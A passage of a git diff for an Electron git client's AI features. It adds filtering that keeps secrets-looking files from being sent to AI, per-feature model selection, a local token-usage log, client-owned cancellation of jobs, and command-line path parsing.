true, message: `Connected via ${backend.name === 'anthropic' ? 'the Anthropic API' : backend.name === 'openai-compatible' ? settings.openaiBaseUrl : 'Claude Code'} (model ${res.model}).` }; } catch (err) { return { ok: false, message: (err as Error).message }; } @@ -117,12 +131,13 @@ export class ConflictResolver { const base: ConflictResolutionResult = { path, ok: false, error: null, blocks: [], staged: false, model: null, provider: null, original: null, check: null, guidedBy: opts.examples?.map((e) => e.path) ?? [] }; try { report(path, 'started', 'Reading conflict…'); + const secret = secretFileReason(path); + if (secret) throw new AiError(`${path} looks like a secrets file (${secret}), so it is never sent to AI. Resolve it manually.`, 'other'); const { backend, settings } = await this.backend(); base.provider = backend.name; - const fsPath = toFsPath(repoPath, path); // A checkOutput retry's "original" is the true pre-resolution conflicted content carried over // from the failed run; the file on disk at this point holds that run's (marker-free) output. - const original = opts.checkOutput?.original ?? (await readFile(fsPath, 'utf8')); + const original = opts.checkOutput?.original ?? (await readConflictFile(repoPath, path)); base.original = original; if (!hasConflictMarkers(original)) { if (file?.conflict && file.conflict !== 'both-modified' && file.conflict !== 'both-added') { @@ -151,12 +166,12 @@ export class ConflictResolver { examples: opts.examples, checkOutput: opts.checkOutput, }); - report(path, 'thinking', `Resolving ${parsed.blocks.length} conflict${parsed.blocks.length === 1 ? '' : 's'} with ${settings.model}…`); + report(path, 'thinking', `Resolving ${parsed.blocks.length} conflict${parsed.blocks.length === 1 ? '' : 's'} with ${modelFor(settings, 'resolver')}…`); const response = await backend.complete({ system: RESOLVE_SYSTEM_PROMPT, prompt, schema: RESOLUTION_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'resolver'), effort: settings.effort, signal, onProgress: (m) => report(path, 'writing', m), @@ -178,10 +193,10 @@ export class ConflictResolver { // checkOutput retry: by design the file on disk holds the previous (failed-check) attempt's // output at this point, not `original`, so there is nothing to compare it against here. if (!opts.checkOutput) { - const current = await readFile(fsPath, 'utf8'); + const current = await readConflictFile(repoPath, path); if (current !== original) throw new AiError('The file changed while the resolution was being generated; try again.', 'other'); } - await writeFile(fsPath, resolved, 'utf8'); + await writeRepoFile(repoPath, path, resolved); const check = await this.runConfiguredCheck(repoPath, settings, report, path, signal); let staged = false; @@ -227,14 +242,14 @@ export class ConflictResolver { } async resolve(repoPath: string, path: string, report: ProgressReporter, checkOutput?: { command: string; tail: string; original: string }): Promise { - this.controller = new AbortController(); + this.controller = ownedController(); const status = await getStatus(this.git, repoPath); const file = status.files.find((f) => f.path === path); return this.resolveFile(repoPath, path, report, this.controller.signal, file, { checkOutput }); } async resolveAll(repoPath: string, report: ProgressReporter): Promise { - this.controller = new AbortController(); + this.controller = ownedController(); const signal = this.controller.signal; const status = await getStatus(this.git, repoPath); const conflicted = status.files.filter((f) => f.conflict !== null); @@ -254,7 +269,7 @@ export class ConflictResolver { /** Resolves every remaining conflicted file, guided by the manual resolutions recorded for this operation (see recordExample). */ async resolveAllGuided(repoPath: string, report: ProgressReporter): Promise { - this.controller = new AbortController(); + this.controller = ownedController(); const signal = this.controller.signal; const status = await getStatus(this.git, repoPath); const conflicted = status.files.filter((f) => f.conflict !== null); @@ -308,8 +323,7 @@ export class ConflictResolver { * (refusing if the file on disk no longer matches what those ranges say). */ async useSideForBlock(repoPath: string, path: string, original: string, ranges: { id: number; start: number; end: number }[], blockId: number, side: 'ours' | 'theirs' | 'base'): Promise { - const fsPath = toFsPath(repoPath, path); - const current = await readFile(fsPath, 'utf8'); + const current = await readConflictFile(repoPath, path); const parsed = parseConflicts(original); if (!parsed.blocks.length) throw new AiError('Conflict markers are malformed; resolve this file manually.', 'other'); const rangeById = new Map(ranges.map((r) => [r.id, r])); @@ -328,29 +342,42 @@ export class ConflictResolver { const final = new Map(verify); final.set(blockId, resolutionForChoice(target, side as BlockChoice)); const { content, ranges: newRanges } = applyResolutions(parsed, final); - await writeFile(fsPath, content, 'utf8'); + await writeRepoFile(repoPath, path, content); const outRanges = [...newRanges.entries()].map(([id, r]) => ({ id, ...r })); return { content, ranges: outRanges }; } - async commitMessage(repoPath: string, paths: string[]): Promise<{ summary: string; description: string }> { - const { backend, settings } = await this.backend(); + /** `skipped` lists selected files that were left out of the request because they look like secrets (`path: reason`). */ + async commitMessage(repoPath: string, paths: string[]): Promise<{ summary: string; description: string; skipped: string[] }> { + const { backend, settings } = await this.backend('commitMessage'); const status = await getStatus(this.git, repoPath); - const files = status.files.filter((f) => paths.includes(f.path)); - if (!files.length) throw new AiError('Select at least one changed file first.', 'other'); - const { patch, truncated, stat } = await getPatchForFiles(this.git, repoPath, files, 120_000); - this.controller = new AbortController(); - const response = await backend.complete({ - system: COMMIT_MESSAGE_SYSTEM_PROMPT, - prompt: buildCommitMessagePrompt(stat, patch, truncated, status.branch.name), - schema: COMMIT_MESSAGE_SCHEMA as unknown as Record, - model: settings.model, - effort: settings.effort === 'max' ? 'high' : settings.effort, - signal: this.controller.signal, + const selected = status.files.filter((f) => paths.includes(f.path)); + if (!selected.length) throw new AiError('Select at least one changed file first.', 'other'); + const skipped = selected.flatMap((f) => { + const reason = secretFileReason(f.path); + return reason ? [`${f.path}: ${reason}`] : []; }); + const files = selected.filter((f) => !secretFileReason(f.path)); + if (!files.length) throw new AiError(`Every selected file looks like it holds secrets, so nothing was sent to the AI (${skipped.join('; ')}).`, 'other'); + const { patch, truncated, stat } = await getPatchForFiles(this.git, repoPath, files, 120_000); + const controller = ownedController(); + this.commitController = controller; + let response; + try { + response = await backend.complete({ + system: COMMIT_MESSAGE_SYSTEM_PROMPT, + prompt: buildCommitMessagePrompt(stat, patch, truncated, status.branch.name), + schema: COMMIT_MESSAGE_SCHEMA as unknown as Record, + model: modelFor(settings, 'commitMessage'), + effort: settings.effort === 'max' ? 'high' : settings.effort, + signal: controller.signal, + }); + } finally { + if (this.commitController === controller) this.commitController = null; + } const json = response.json as { summary?: unknown; description?: unknown }; const summary = typeof json.summary === 'string' ? json.summary.trim().replace(/\.$/, '') : ''; if (!summary) throw new AiError('The model returned an empty summary.', 'invalid-output'); - return { summary, description: typeof json.description === 'string' ? json.description.trim() : '' }; + return { summary, description: typeof json.description === 'string' ? json.description.trim() : '', skipped }; } } diff --git a/src/main/ai/review-core.ts b/src/main/ai/review-core.ts index a80fe69..eeac74f 100644 --- a/src/main/ai/review-core.ts +++ b/src/main/ai/review-core.ts @@ -5,6 +5,7 @@ * tested and reasoned about in isolation. */ import type { CommitFile, DiffHunk, ReviewCategory, ReviewFinding, ReviewSeverity, ReviewStrictness } from '@shared/types'; +import { secretFileReason } from '@shared/secrets'; import { joinLines, splitLines } from '@shared/util'; export const MAX_CHANGED_LINES_PER_FILE = 1500; @@ -47,11 +48,14 @@ export function hashHunks(hunks: DiffHunk[]): string { /** * Returns the reason a file is left out of a review, or null when it should be reviewed. - * `generatedPaths` are paths marked linguist-generated in .gitattributes. + * `generatedPaths` are paths marked linguist-generated in .gitattributes. Secret-shaped files + * (see `secretFileReason`) are always left out; `hunks` lets `.npmrc`/`.pypirc` pass when they hold no credentials. */ -export function skipReason(file: CommitFile, changedLines: number | null, generatedPaths: ReadonlySet = new Set()): string | null { +export function skipReason(file: CommitFile, changedLines: number | null, generatedPaths: ReadonlySet = new Set(), hunks?: DiffHunk[]): string | null { const path = file.path; const base = path.slice(path.lastIndexOf('/') + 1).toLowerCase(); + const secret = secretFileReason(path, hunks?.map((h) => h.lines.map((l) => l.text).join('\n')).join('\n')); + if (secret) return `${secret}, never sent to AI`; if (file.binary) return 'binary file'; if (file.status === 'deleted') return 'deleted file'; if (/\.(png|jpe?g|gif|webp|bmp|ico|svg|avif|tiff?|pdf|woff2?|ttf|eot|otf|zip|gz|tgz|jar|exe|dll|so|dylib|mp[34]|mov|wasm)$/i.test(base)) return 'binary or media file'; diff --git a/src/main/ai/review.ts b/src/main/ai/review.ts index bb43c2c..0379f3b 100644 --- a/src/main/ai/review.ts +++ b/src/main/ai/review.ts @@ -5,12 +5,13 @@ import { tmpdir } from 'node:os'; import { join } from 'node:path'; import type { DiffOptions } from '@shared/ipc'; import type { AiReviewProgressEvent, CommitFile, DiffHunk, FileDiff, GitHubRepoRef, PostReviewOptions, PullRequest, ReviewFileEntry, ReviewFinding, ReviewPlan, ReviewRun, ReviewRunTarget, ReviewStartOptions, ReviewTarget, ReviewVerdict, WorkingFile, WorktreeReviewOptions, WorktreeReviewTarget } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import type { ParsedDiff } from '@shared/diff/parse'; import { parseUnifiedDiffs } from '@shared/diff/parse'; import { languageFromPath } from '@shared/util'; import { isUnborn } from '../git/commit'; import { buildTextDiff, getPatchForFiles, getRangeFileDiff, looksBinary, readBlobText, readWorktree, toFsPath } from '../git/diff'; -import { readRepoFile } from '../repo/paths'; +import { readRepoFile, writeRepoFile } from '../repo/paths'; import { EMPTY_TREE_SHA, GitError, type GitClient } from '../git/git'; import { getGitDir, getStatus } from '../git/status'; import type { GhClient } from '../gh/gh'; @@ -20,6 +21,7 @@ import type { RepositoryManager } from '../repo/manager'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError } from './backends'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; import { EXPORT_DIR_SEGMENTS, LATEST_JSON, RUNS_DIR, buildExportJson, exportFileNames, renderExportMarkdown, serializeExport, type ExportPlatform, type ReviewExport } from './review-export'; import { buildPrecommitFilePrompt, buildPrecommitSummaryPrompt, buildReviewFilePrompt, buildReviewSummaryPrompt, PRECOMMIT_SUMMARY_SCHEMA, PRECOMMIT_SUMMARY_SYSTEM_PROMPT, precommitReviewSystemPrompt, REVIEW_FILE_SCHEMA, REVIEW_SUMMARY_SCHEMA, REVIEW_SUMMARY_SYSTEM_PROMPT, reviewSystemPrompt, type PrecommitPromptContext, type ReviewPromptContext } from './prompts'; @@ -95,8 +97,7 @@ export class ReviewService { constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient, private readonly gh: GhClient, private readonly repos: RepositoryManager, private readonly userDataDir: string) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + if (cancelOwned(this.controller)) this.controller = null; } /** True while a review run is in flight; used by the update install gate to refuse installing mid-review. */ @@ -407,7 +408,7 @@ export class ReviewService { const lines = changedLineCount(hunks); const hash = hunks.length ? hashHunks(hunks) : null; if (only && !only.includes(file.path)) return { file, status: 'skipped', reason: 'not selected', hash }; - const reason = skipReason(file, lines, generated) ?? (hunks.length === 0 ? 'no text changes' : null); + const reason = skipReason(file, lines, generated, hunks) ?? (hunks.length === 0 ? 'no text changes' : null); if (reason) return { file, status: 'skipped', reason, hash }; reviewable++; if (reviewable > maxFiles) return { file, status: 'skipped', reason: `over the ${maxFiles}-file limit`, hash }; @@ -430,7 +431,7 @@ export class ReviewService { target: resolved.target, files: entries, changedLines, - model: settings.model, + model: modelFor(settings, 'review'), provider: settings.provider, effort: settings.effort, strictness: settings.reviewStrictness, @@ -518,7 +519,7 @@ export class ReviewService { async start(repoPath: string, input: ReviewTarget, opts: ReviewStartOptions, report: (e: AiReviewProgressEvent) => void): Promise { this.controller?.abort(); - const controller = new AbortController(); + const controller = ownedController(); this.controller = controller; // `finally`, not a tail assignment: anything that throws on the way (AI // disabled, an unknown base branch, gh failing) would otherwise leave the @@ -536,7 +537,7 @@ export class ReviewService { const runId = newRunId(); const emit: Reporter = (e) => report({ ...e, repoPath, runId }); - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'review'); emit({ phase: 'preparing', path: null, index: 0, total: 0, message: 'Reading the diff…' }); const resolved = await this.resolveTarget(repoPath, input); const set = await this.diffSet(repoPath, resolved, signal); @@ -549,7 +550,7 @@ export class ReviewService { target: resolved.target, startedAt: new Date().toISOString(), finishedAt: null, - model: settings.model, + model: modelFor(settings, 'review'), provider: backend.name, effort: settings.effort, strictness: settings.reviewStrictness, @@ -600,9 +601,9 @@ export class ReviewService { const excerpt = await this.contextExcerpt(repoPath, resolved, path, parsed); const response = await backend.complete({ system, - prompt: buildReviewFilePrompt({ context, path, oldPath: entry.file.oldPath, status: entry.file.status, language: languageFromPath(path), annotatedDiff: annotateHunks(parsed.hunks), contextExcerpt: excerpt, truncated: false }), + ...buildReviewFilePrompt({ context, path, oldPath: entry.file.oldPath, status: entry.file.status, language: languageFromPath(path), annotatedDiff: annotateHunks(parsed.hunks), contextExcerpt: excerpt, truncated: false }), schema: REVIEW_FILE_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'review'), effort: settings.effort, signal, }); @@ -664,7 +665,7 @@ export class ReviewService { run.droppedInvalid, ), schema: REVIEW_SUMMARY_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'review'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal, }); @@ -691,7 +692,7 @@ export class ReviewService { run.finishedAt = new Date().toISOString(); await this.saveRun(run); emit({ phase: run.cancelled ? 'cancelled' : run.error ? 'error' : 'done', path: null, index: total, total, message: run.cancelled ? 'Review cancelled' : run.error ?? 'Review complete' }); - log.info(`AI review ${runId} (${targetKey(run.target)}): ${run.findings.length} finding(s), ${run.droppedInvalid} dropped, ${run.files.filter((f) => f.status === 'reviewed').length}/${run.files.length} files via ${backend.name}/${settings.model}`); + log.info(`AI review ${runId} (${targetKey(run.target)}): ${run.findings.length} finding(s), ${run.droppedInvalid} dropped, ${run.files.filter((f) => f.status === 'reviewed').length}/${run.files.length} files via ${backend.name}/${modelFor(settings, 'review')}`); return run; } @@ -770,7 +771,7 @@ export class ReviewService { async startWorktree(repoPath: string, opts: WorktreeReviewOptions, report: (e: AiReviewProgressEvent) => void): Promise { this.controller?.abort(); - const controller = new AbortController(); + const controller = ownedController(); this.controller = controller; try { return await this.runWorktreeReview(repoPath, opts, report, controller); @@ -784,7 +785,7 @@ export class ReviewService { const runId = newRunId(); const emit: Reporter = (e) => report({ ...e, repoPath, runId }); - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'review'); emit({ phase: 'preparing', path: null, index: 0, total: 0, message: 'Reading the diff…' }); const status = await getStatus(this.git, repoPath); @@ -828,7 +829,7 @@ export class ReviewService { for (const entry of entries) { if (entry.status !== 'pending') continue; const hunks = diffs.get(entry.file.path)?.hunks ?? []; - const reason = skipReason(entry.file, changedLineCount(hunks), generated) ?? (hunks.length === 0 ? 'no text changes' : null); + const reason = skipReason(entry.file, changedLineCount(hunks), generated, hunks) ?? (hunks.length === 0 ? 'no text changes' : null); if (reason) { entry.status = 'skipped'; entry.reason = reason; @@ -847,7 +848,7 @@ export class ReviewService { target: { kind: 'worktree', paths: [...opts.files], partialPaths, indexSha }, startedAt: new Date().toISOString(), finishedAt: null, - model: settings.model, + model: modelFor(settings, 'review'), provider: backend.name, effort: settings.effort, strictness: settings.reviewStrictness, @@ -886,9 +887,9 @@ export class ReviewService { const excerpt = await this.worktreeExcerpt(repoPath, path, parsed); const response = await backend.complete({ system, - prompt: buildPrecommitFilePrompt({ context, path, oldPath: entry.file.oldPath, status: entry.file.status, language: languageFromPath(path), annotatedDiff: annotateHunks(parsed.hunks), contextExcerpt: excerpt, partial: partialPaths.includes(path), truncated: false }), + ...buildPrecommitFilePrompt({ context, path, oldPath: entry.file.oldPath, status: entry.file.status, language: languageFromPath(path), annotatedDiff: annotateHunks(parsed.hunks), contextExcerpt: excerpt, partial: partialPaths.includes(path), truncated: false }), schema: REVIEW_FILE_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'review'), effort: settings.effort, signal, }); @@ -950,7 +951,7 @@ export class ReviewService { run.droppedInvalid, ), schema: PRECOMMIT_SUMMARY_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'review'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal, }); @@ -979,7 +980,7 @@ export class ReviewService { run.finishedAt = new Date().toISOString(); await this.saveRun(run); emit({ phase: run.cancelled ? 'cancelled' : run.error ? 'error' : 'done', path: null, index: total, total, message: run.cancelled ? 'Review cancelled' : run.error ?? 'Review complete' }); - log.info(`AI pre-commit review ${runId}: ${run.findings.length} finding(s), ${run.droppedInvalid} dropped, ${run.files.filter((f) => f.status === 'reviewed').length}/${run.files.length} files via ${backend.name}/${settings.model}`); + log.info(`AI pre-commit review ${runId}: ${run.findings.length} finding(s), ${run.droppedInvalid} dropped, ${run.files.filter((f) => f.status === 'reviewed').length}/${run.files.length} files via ${backend.name}/${modelFor(settings, 'review')}`); return run; } @@ -1011,10 +1012,11 @@ export class ReviewService { if (recordedHash === null || currentHash === null || currentHash !== recordedHash) { throw new AiError('The file changed since the review ran. Re-review before applying.', 'other'); } - const fsPath = toFsPath(repoPath, finding.path); - const content = await readFile(fsPath, 'utf8'); + toFsPath(repoPath, finding.path); + const content = (await readRepoFile(repoPath, finding.path))?.toString('utf8'); + if (content === undefined) throw new AiError('This file is a symbolic link or outside the repository; edit it manually.', 'other'); const next = replaceLinesInContent(content, finding.line, finding.endLine ?? finding.line, finding.suggestion); - await writeFile(fsPath, next, 'utf8'); + await writeRepoFile(repoPath, finding.path, next); if (entry) entry.hash = await this.blobHash(repoPath, finding.path); await this.saveRun(run); } diff --git a/src/main/ai/splitter.ts b/src/main/ai/splitter.ts index e30a59b..b061d82 100644 --- a/src/main/ai/splitter.ts +++ b/src/main/ai/splitter.ts @@ -1,4 +1,6 @@ import type { CommitOptions, DiffHunk, SplitApplyProgress, SplitHunk, SplitPlan, SplitPreflight, WorkingFile } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; +import { secretFileReason } from '@shared/secrets'; import { buildStagePatch, selectHunks } from '@shared/diff/patch'; import { languageFromPath } from '@shared/util'; import { createCommit, isUnborn, unstageAll } from '../git/commit'; @@ -9,6 +11,7 @@ import { log } from '../logger'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError } from './backends'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; import { buildSplitPrompt, SPLIT_SCHEMA, SPLIT_SYSTEM_PROMPT, type SplitPromptHunkInput } from './prompts'; import { annotateHunks } from './review-core'; @@ -41,8 +44,7 @@ export class SplitterService { constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + if (cancelOwned(this.controller)) this.controller = null; } /** True while a plan proposal is in flight; used by the update-install gate. */ @@ -71,6 +73,11 @@ export class SplitterService { for (const path of files) { const file = byPath.get(path); if (!file) continue; + const secret = secretFileReason(path); + if (secret) { + excluded.push({ path, reason: `${secret}, never sent to AI` }); + continue; + } let fileHunks: DiffHunk[] = []; let unsplittableReason: string | null = null; if (!file.conflict) { @@ -129,8 +136,8 @@ export class SplitterService { const wholeFileOnlyPaths = wholeFileOnly.map((f) => f.path); if (hunks.length + wholeFileOnlyPaths.length < 2) throw new AiError('At least two hunks or whole files are needed to split into commits.', 'other'); - const { backend, settings: aiSettings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); + const { backend, settings: aiSettings } = await createBackend(this.store, this.tools, 'split'); + const controller = ownedController(); this.controller = controller; try { let bytes = 0; @@ -141,7 +148,7 @@ export class SplitterService { return { id: h.id, path: h.path, header: h.header, language: languageFromPath(h.path), additions: h.additions, deletions: h.deletions, body: bodiesIncluded ? annotateHunks([dh]) : null }; }); const prompt = buildSplitPrompt({ branch: status.branch.name, hunks: promptHunks, wholeFileOnly: wholeFileOnly.map((f) => ({ path: f.path, status: f.reason })), bodiesIncluded }); - const response = await backend.complete({ system: SPLIT_SYSTEM_PROMPT, prompt, schema: SPLIT_SCHEMA as unknown as Record, model: aiSettings.model, effort: aiSettings.effort, signal: controller.signal }); + const response = await backend.complete({ system: SPLIT_SYSTEM_PROMPT, prompt, schema: SPLIT_SCHEMA as unknown as Record, model: modelFor(aiSettings, 'split'), effort: aiSettings.effort, signal: controller.signal }); const { commits, unassigned, warnings } = validateSplitResponse(response.json, hunks, wholeFileOnlyPaths); const startSha = (await this.git.stdout(repoPath, ['rev-parse', 'HEAD'], { readOnly: true })).trim(); diff --git a/src/main/ai/triage.ts b/src/main/ai/triage.ts index 0f20b75..8197fe0 100644 --- a/src/main/ai/triage.ts +++ b/src/main/ai/triage.ts @@ -2,6 +2,7 @@ import { existsSync } from 'node:fs'; import { mkdir, readFile, rename, writeFile } from 'node:fs/promises'; import { dirname, join } from 'node:path'; import type { AiSettings, AiTriageProgressEvent, GitHubRepoRef, PrTriage, PullRequest } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { GitError } from '../git/git'; import type { GhClient } from '../gh/gh'; import { log } from '../logger'; @@ -10,6 +11,7 @@ import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError, type AiBackend } from './backends'; import { buildTriagePrompt, TRIAGE_SCHEMA, TRIAGE_SYSTEM_PROMPT, type TriagePromptPr } from './prompts'; +import { cancelOwned, ownedController } from '../core/client-context'; import { createBackend } from './provider'; import { stableHash } from './review-core'; import { BATCH_SIZE, evictTriageCache, splitBatches, validateTriageBatch, type TriageBatchResult } from './triage-core'; @@ -29,8 +31,7 @@ export class TriageService { constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly gh: GhClient, private readonly repos: RepositoryManager, private readonly userDataDir: string) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + if (cancelOwned(this.controller)) this.controller = null; } /** True while a triage run is in flight; used by the update install gate to refuse installing mid-run. */ @@ -120,7 +121,7 @@ export class TriageService { system: TRIAGE_SYSTEM_PROMPT, prompt: buildTriagePrompt(promptPrs, login), schema: TRIAGE_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'triage'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal, }); @@ -136,11 +137,11 @@ export class TriageService { */ async run(repoPath: string, numbers: number[], report: (e: AiTriageProgressEvent) => void): Promise> { this.controller?.abort(); - const controller = new AbortController(); + const controller = ownedController(); this.controller = controller; const signal = controller.signal; try { - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'triage'); const ref = await this.repos.detectGitHub(repoPath); if (!ref) throw new GitError({ message: 'This repository does not have a GitHub remote.', command: '', exitCode: null, stderr: '', stdout: '', code: 'remote-not-found' }); @@ -184,7 +185,7 @@ export class TriageService { await this.saveCache(repoPath, cache); report({ repoPath, done: Math.min(done, total), total }); } - log.info(`AI triage for ${repoPath}: ${wanted.length} pull request(s) requested via ${backend.name}/${settings.model}`); + log.info(`AI triage for ${repoPath}: ${wanted.length} pull request(s) requested via ${backend.name}/${modelFor(settings, 'triage')}`); return cache; } finally { if (this.controller === controller) this.controller = null; diff --git a/src/main/ai/usage.ts b/src/main/ai/usage.ts new file mode 100644 index 0000000..e4b1eca --- /dev/null +++ b/src/main/ai/usage.ts @@ -0,0 +1,64 @@ +import { mkdir, readFile, rename, writeFile } from 'node:fs/promises'; +import { dirname, join } from 'node:path'; +import type { AiFeature, AiUsage, AiUsageMonth, AiUsageTotals } from '@shared/types'; +import { log } from '../logger'; + +/** Month (`YYYY-MM`, local time) → feature → totals. Stored in a machine-local file next to the other app data; never part of settings export/sync. */ +export type UsageLog = Record>>; + +export function monthKey(date: Date): string { + return `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}`; +} + +/** Returns `usageLog` with one request added to `month`/`feature`. Cost stays null until a backend reports one. */ +export function addUsage(usageLog: UsageLog, month: string, feature: AiFeature, u: AiUsage): UsageLog { + const prev = usageLog[month]?.[feature]; + const next: AiUsageTotals = { + requests: (prev?.requests ?? 0) + 1, + inputTokens: (prev?.inputTokens ?? 0) + u.inputTokens, + outputTokens: (prev?.outputTokens ?? 0) + u.outputTokens, + cacheReadTokens: (prev?.cacheReadTokens ?? 0) + u.cacheReadTokens, + cacheWriteTokens: (prev?.cacheWriteTokens ?? 0) + u.cacheWriteTokens, + costUsd: u.costUsd === null ? (prev?.costUsd ?? null) : (prev?.costUsd ?? 0) + u.costUsd, + }; + return { ...usageLog, [month]: { ...usageLog[month], [feature]: next } }; +} + +let file: string | null = null; +let queue: Promise = Promise.resolve(); + +/** Points the usage log at `dir` (the app data directory). Until called, usage is not recorded. */ +export function configureUsage(dir: string): void { + file = join(dir, 'ai-usage.json'); +} + +async function load(path: string): Promise { + try { + return JSON.parse(await readFile(path, 'utf8')) as UsageLog; + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== 'ENOENT') log.warn(`AI usage log unreadable, starting over: ${(err as Error).message}`); + return {}; + } +} + +/** Adds one request to this month's totals. Writes are serialized; failures are logged, never thrown (usage is best-effort). */ +export function recordUsage(feature: AiFeature, usage: AiUsage | undefined, now = new Date()): Promise { + const path = file; + if (!path || !usage) return Promise.resolve(); + const run = queue.then(async () => { + const next = addUsage(await load(path), monthKey(now), feature, usage); + await mkdir(dirname(path), { recursive: true }); + const tmp = `${path}.tmp`; + await writeFile(tmp, JSON.stringify(next), { mode: 0o600 }); + await rename(tmp, path); + }); + queue = run.catch((err) => log.warn(`Could not record AI usage: ${(err as Error).message}`)); + return queue as Promise; +} + +/** This month and last month, in that order (months with no usage have empty `features`). */ +export async function readUsage(now = new Date()): Promise { + const data = file ? await load(file) : {}; + const last = new Date(now.getFullYear(), now.getMonth() - 1, 1); + return [now, last].map((d) => ({ month: monthKey(d), features: data[monthKey(d)] ?? {} })); +} diff --git a/src/main/argv.ts b/src/main/argv.ts new file mode 100644 index 0000000..043f5d9 --- /dev/null +++ b/src/main/argv.ts @@ -0,0 +1,25 @@ +import { resolve } from 'node:path'; + +/** + * The first existing directory a user passed on the command line (`gitgood `), or null. + * + * `argv[0]` is the executable (the AppImage mount's binary, `gitgood.exe`, or `electron` in dev). + * In dev (`electron .`, `process.defaultApp`) the first non-flag argument is the app path, which + * would otherwise open GitGood's own checkout. Flags (including `--gitgood-server`) and protocol + * links are skipped; relative paths resolve against `cwd` (the second instance's working directory). + * Pure so it can be unit tested without Electron. + */ +export function pathFromArgv(argv: string[], opts: { defaultApp: boolean; cwd: string; isDirectory: (path: string) => boolean }): string | null { + let skipAppPath = opts.defaultApp; + for (const arg of argv.slice(1)) { + if (!arg || arg.startsWith('-')) continue; + if (skipAppPath) { + skipAppPath = false; + continue; + } + if (/^[a-z][a-z0-9+.-]+:\/\//i.test(arg)) continue; + const path = resolve(opts.cwd, arg); + if (opts.isDirectory(path)) return path; + } + return null; +} diff --git a/src/main/client.ts b/src/main/client.ts index 3bc0cb4..e84a07b 100644 --- a/src/main/client.ts +++ b/src/main/client.ts @@ -215,7 +215,7 @@ export function registerClientIpc(serverUrl: string, store: Store, getWindow: () 'app.showItemInFolder': confined((p) => host.showItemInFolder(p)), 'app.moveToTrash': confined((p) => host.trashItem(p)), } - : { ...always, ...updateMethods, 'app.openInEditor': unsupported, 'app.openInShell': unsupported }; + : { ...always, ...updateMethods, 'app.openInEditor': unsupported, 'app.openInShell': unsupported, 'app.openDiffTool': unsupported, 'app.openMergeTool': unsupported }; const entry = appEntryUrl(serverUrl); ipcMain.handle(IPC_INVOKE_CHANNEL, async (event, method: string, ...args: unknown[]): Promise | null> => { diff --git a/src/main/core/client-context.ts b/src/main/core/client-context.ts index 76ffabe..d35e2f6 100644 --- a/src/main/core/client-context.ts +++ b/src/main/core/client-context.ts @@ -11,3 +11,19 @@ export const clientContext = new AsyncLocalStorage(); export function currentClient(): string { return clientContext.getStore() ?? ''; } + +const controllerOwners = new WeakMap(); + +/** An AbortController tagged with the client that started the job, so `cancelOwned` can leave other clients' jobs alone. */ +export function ownedController(): AbortController { + const controller = new AbortController(); + controllerOwners.set(controller, currentClient()); + return controller; +} + +/** Aborts `controller` if the calling client started it; returns whether it did. */ +export function cancelOwned(controller: AbortController | null): boolean { + if (!controller || controllerOwners.get(controller) !== currentClient()) return false; + controller.abort(); + return true; +} diff --git a/src/main/core/handlers.ts b/src/main/core/handlers.ts index e41f636..ab62576 100644 --- a/src/main/core/handlers.ts +++ b/src/main/core/handlers.ts @@ -3,8 +3,10 @@ import { mkdir, readFile, readdir, stat, writeFile } from 'node:fs/promises'; import { homedir } from 'node:os'; import { basename, dirname, join, resolve } from 'node:path'; import type { ApiMethodName, ApiMethods, DiffOptions, EventPayloads, HistoryOptions } from '@shared/ipc'; -import type { AppSettings, Commit, CommitFile, CommitOptions, GitErrorInfo, GitHubRepoRef, IpcResult, ProgressEvent, RepositoryStatus, WorkingFile } from '@shared/types'; +import type { AiFeature, AppSettings, Commit, CommitFile, CommitOptions, GitErrorInfo, GitHubRepoRef, IpcResult, ProgressEvent, RepositoryStatus, WorkingFile } from '@shared/types'; import { AiError } from '../ai/backends'; +import { guardAiHandlers } from '../ai/repo-guard'; +import { readUsage } from '../ai/usage'; import type { ErrorExplainService } from '../ai/error-explain'; import type { ExplainService } from '../ai/explain'; import type { NlPaletteService } from '../ai/nlPalette'; @@ -20,10 +22,11 @@ import type { InboxPoller } from '../gh/inbox-poller'; import { discoverIssueTemplates } from '../gh/issue-templates'; import type { SettingsSyncService } from '../gh/settings-sync'; import { GitError, toGitErrorInfo, type GitClient } from '../git/git'; +import { difftoolArgs, launchGitTool } from '../git/external-tools'; import { getBlameResult, readFileAtCommit } from '../git/blame'; import { checkoutBranch, checkoutRemoteBranch, createBranch, deleteLocalBranch, deleteRemoteBranch, getBranches, getCurrentBranchName, getDefaultBranch, renameBranch } from '../git/branches'; -import { applyPatchToWorktree, createCommit, getLastCommitMessage, isUnborn, stageFiles, undoLastCommit, unstageFiles } from '../git/commit'; -import { getCommitFileDiff, getRangeFileDiff, getStashFileDiff, getStashFiles, getWorkingDiff, toFsPath } from '../git/diff'; +import { applyPatchToWorktree, createCommit, getLastCommitMessage, isUnborn, readCommitTemplate, stageFiles, undoLastCommit, 